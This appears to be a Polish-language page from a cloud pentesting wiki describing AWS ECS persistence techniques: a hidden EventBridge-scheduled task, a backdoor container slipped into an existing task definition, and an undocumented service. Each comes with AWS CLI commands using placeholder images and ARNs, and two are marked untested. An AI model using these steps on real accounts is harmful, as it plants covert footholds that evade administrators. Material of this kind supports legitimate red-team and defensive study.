Atakujący może utworzyć ukryte okresowe zadanie ECS, korzystając z Amazon EventBridge, aby zaplanować regularne wykonywanie złośliwego zadania. To zadanie może przeprowadzać rozpoznanie, eksfiltrację danych lub utrzymywać trwałość w koncie AWS.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an Amazon EventBridge rule to trigger the task periodicallyawseventsput-rule--name"malicious-ecs-task-rule"--schedule-expression"rate(1 day)"# Add a target to the rule to run the malicious ECS taskawseventsput-targets--rule"malicious-ecs-task-rule"--targets'[{"Id": "malicious-ecs-task-target","Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster","RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role","EcsParameters": {"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task","TaskCount": 1}}]'
Tylna furtka w kontenerze w istniejącej definicji zadania ECS
TODO: Test
Atakujący może dodać ukryty kontener z tylną furtką w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener z tylną furtką może być wykorzystany do trwałości i wykonywania szkodliwych działań.
# Update the existing task definition to include the backdoor containerawsecsregister-task-definition--family"existing-task"--container-definitions'[{"name": "legitimate-container","image": "legitimate-image:latest","memory": 256,"cpu": 10,"essential": true},{"name": "backdoor-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": false}]'
Nieudokumentowana usługa ECS
TODO: Test
Atakujący może utworzyć nieudokumentowaną usługę ECS, która uruchamia złośliwe zadanie. Ustawiając minimalną liczbę żądanych zadań i wyłączając logowanie, utrudnia się administratorom zauważenie złośliwej usługi.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an undocumented ECS service with the malicious task definitionaws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"